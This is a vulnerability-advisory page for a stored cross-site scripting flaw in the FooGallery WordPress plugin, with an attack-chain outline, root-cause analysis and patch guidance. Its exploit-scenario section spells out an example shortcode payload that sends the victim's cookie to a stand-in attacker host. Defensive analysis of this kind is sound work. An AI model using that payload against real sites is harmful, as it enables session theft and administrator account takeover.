Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain WordPress contributor credentials
-
DeliveryCraft gallery shortcode with onmouseenter event handler as custom_attribute_key
-
ExploitPublish post containing malicious shortcode
-
InstallVictim (e.g., admin) visits injected page
-
C2Browser renders unescaped event attribute in gallery container
-
ExecuteJavaScript fires on mouse interaction
-
ImpactExfiltrate session cookie or perform authenticated actions as victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated WordPress user account with at minimum contributor-level role on the target installation; subscriber-level and unauthenticated access are insufficient. The attacker must be able to create or edit posts or pages that include FooGallery shortcodes with a custom_attribute_key parameter, a capability tied to the WordPress 'edit_posts' permission level. The injected payload is persistent (stored in the database) but only executes when a second user navigates to the affected page - the victim must passively load the page for the event handler to fire on a mouse interaction. Limiting factors: (1) contributor-level or higher authentication is mandatory, ruling out anonymous exploitation; (2) passive victim interaction is required - the script does not execute server-side or without page visitation; (3) only sites running FooGallery 3.1.31 or earlier are vulnerable; (4) sites that do not grant contributor access to untrusted parties have substantially reduced real-world exposure. |
| Impact | The provided CVSS 3.1 base score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) warrants a notable caveat: the UI:N designation appears inconsistent with standard Stored XSS scoring practice. Stored XSS payloads execute only when a victim navigates to the injected page, which canonically maps to UI:R in CVSS 3.1; Wordfence's UI:N choice may reflect a methodology difference and should be verified against the vendor's advisory rationale. The PR:L requirement - confirmed contributor-level access - is the primary real-world risk limiter. On many WordPress sites, contributor roles are granted to guest bloggers or external authors, potentially widening the attacker pool beyond a purely internal threat. The S:C (scope change) signal is accurate: the injected payload runs in victim browsers, not the server process, and can target authenticated administrators to escalate further. No EPSS data was provided; no CISA KEV listing exists; and no public exploit code was identified, making this a medium-priority patch item rather than an emergency response scenario. The plaintext source code of both vulnerable functions is publicly linked in the references, providing sufficient detail for independent exploit construction. |
| Exploit ScenarioDerived | An attacker with WordPress contributor credentials - which can often be self-registered on open-contributor sites - creates a post embedding a FooGallery shortcode with the custom_attribute_key parameter set to a value such as 'onmouseenter=fetch(https://attacker.example/steal?c='+document.cookie)'. The gallery plugin writes this unescaped value into the container element's HTML, producing a live event attribute. When a site administrator or other authenticated user later visits the published page and their cursor enters the gallery, the JavaScript executes in their browser session, exfiltrating their authentication cookie and potentially enabling full admin account takeover. No public proof-of-concept code has been identified, but the vulnerability is trivially reproducible from the linked source code. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 13, 2026
Stored Cross-Site Scripting in FooGallery WordPress plugin versions through 3.1.31 allows authenticated contributors to inject persistent JavaScript via the 'custom_attribute_key' shortcode parameter, executing against any visitor who views an affected page. The flaw combines a bypass-prone event-handler blacklist in foogallery_sanitize_javascript() - which omits handlers like 'onmouseenter' - with unescaped attribute key output in foogallery_build_container_attributes_safe(), together enabling DOM-level script injection. A patched version 3.1.32 is confirmed released; no public exploit code or CISA KEV listing has been identified at time of analysis.
RemediationAI
Vendor-released patch: FooGallery 3.1.32. Update via the WordPress admin dashboard under Plugins > Updates or apply changeset 3542524 directly, confirmed at https://plugins.trac.wordpress.org/changeset/3542524/foogallery/tags/3.1.32/includes/functions.php. If immediate patching is not feasible, restrict contributor-level and above WordPress role assignments to explicitly trusted users; this reduces the attacker pool but does not eliminate the vulnerability and may block legitimate editorial workflows. As an additional interim measure, a WordPress capability management plugin (e.g., Members, User Role Editor) can be used to revoke the ability for contributors to use gallery shortcodes in post content; this trade-off prevents gallery embedding for that role until the patch is applied. There is no server-side WAF rule that can reliably block this class of bypass without also blocking legitimate gallery shortcode use, given the similarity between valid and malicious attribute key values.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected product is the FooGallery (Photo Gallery by FooGallery - Responsive Image Gallery, Masonry Gallery & Carousel) WordPress plugin, per CPE cpe:2.3:a:fooplugins:photo_gallery_by_foogallery_:_responsive_image_gallery,_masonry_gallery_&_carousel:*:*:*:*:*:*:*:*. The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), manifesting as a dual failure in two distinct functions. First, foogallery_sanitize_javascript() at functions.php#L480 uses a substring blocklist that covers only seven specific HTML event attributes - onmouseover, onmouseout, onpointerenter, onclick, onload, onchange, and onerror - leaving the broader HTML5 event attribute surface (e.g., onmouseenter, onfocus, onanimationend, onpointerdown) unblocked. Blocklist-based approaches for sanitizing event handlers are inherently fragile and are flagged as an anti-pattern in OWASP XSS prevention guidance precisely for this reason. Second, foogallery_build_container_attributes_safe() at functions.php#L1516 writes the caller-supplied attribute key directly into the gallery container element's HTML without HTML-encoding, so a bypassed event handler name is rendered as a live, functional DOM attribute. The advanced settings integration path at class-gallery-advanced-settings.php#L148 is also implicated in how the shortcode parameter reaches these functions.
Know when Wordpress Plugin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Stored XSS requires victim page-visit for payload execution (UI:R); contributor auth confirmed (PR:L); scope change affects victim browsers (S:C); no availability impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The FooGallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'custom_attribute_key' shortcode parameter in versions up to, and including, 3.1.31 This is due to an incomplete JavaScript event handler blacklist in the foogallery_sanitize_javascript() function, which blocks only a subset of HTML event attributes (onmouseover, onmouseout, onpointerenter, onclick, onload, onchange, onerror) while permitting others such as 'onmouseenter', combined with the failure to escape the attribute key when building the gallery container HTML in foogallery_build_container_attributes_safe(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Wordpress Plugin
View allThe Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
The Hash Form - Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing fil
Authentication bypass in the LiteSpeed Cache WordPress plugin (versions prior to 6.5.0.1) allows unauthenticated remote
The Simple File List plugin for WordPress through version 4.2.2 contains an unauthenticated remote code execution vulner
The AI Engine WordPress plugin through version 3.1.3 exposes Bearer Token values through the /mcp/v1/ REST API endpoint
The SureTriggers WordPress plugin through version 1.0.82 contains a privilege escalation vulnerability that allows unaut
The Ninja Forms plugin before 2.9.42.1 for WordPress allows remote attackers to conduct PHP object injection attacks via
The Business Directory Plugin - Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based
SQL injection in the NotificationX WordPress plugin (versions up to and including 2.8.2) allows unauthenticated remote a
The POST SMTP Mailer - Email log, Delivery Failure Notifications and Best Mail SMTP for WordPress plugin for WordPress i
The MasterStudy LMS WordPress Plugin - for Online Courses and Education plugin for WordPress is vulnerable to union base
The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the ‘hash’ parameter in
EUVD-2026-36645
GHSA-fq2x-2hqx-f6x7
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB